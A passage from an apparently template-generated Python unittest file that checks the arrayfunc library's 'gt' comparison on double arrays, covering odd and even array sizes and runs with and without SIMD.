self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code d.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_d_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'd' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'd' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.d_min
maxval = arrayfunc.arraylimits.d_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'd' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('d', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('d', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code d.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_d_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'd' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'd' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.d_min
maxval = arrayfunc.arraylimits.d_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'd' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('d', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('d', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code d.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_d_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'd' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'd' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.d_min
maxval = arrayfunc.arraylimits.d_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'd' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('d', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('d', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code d.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_d_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'd' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'd' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.d_min
maxval = arrayfunc.arraylimits.d_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'd' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('d', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('d', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('d', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code d.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code d.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code d.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code d.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_withsimd_simd_d_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'd' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'd' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.d_min
maxval = arrayfunc.arraylimits.d_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'd' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('d', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('d', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('d', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code d.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code d.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
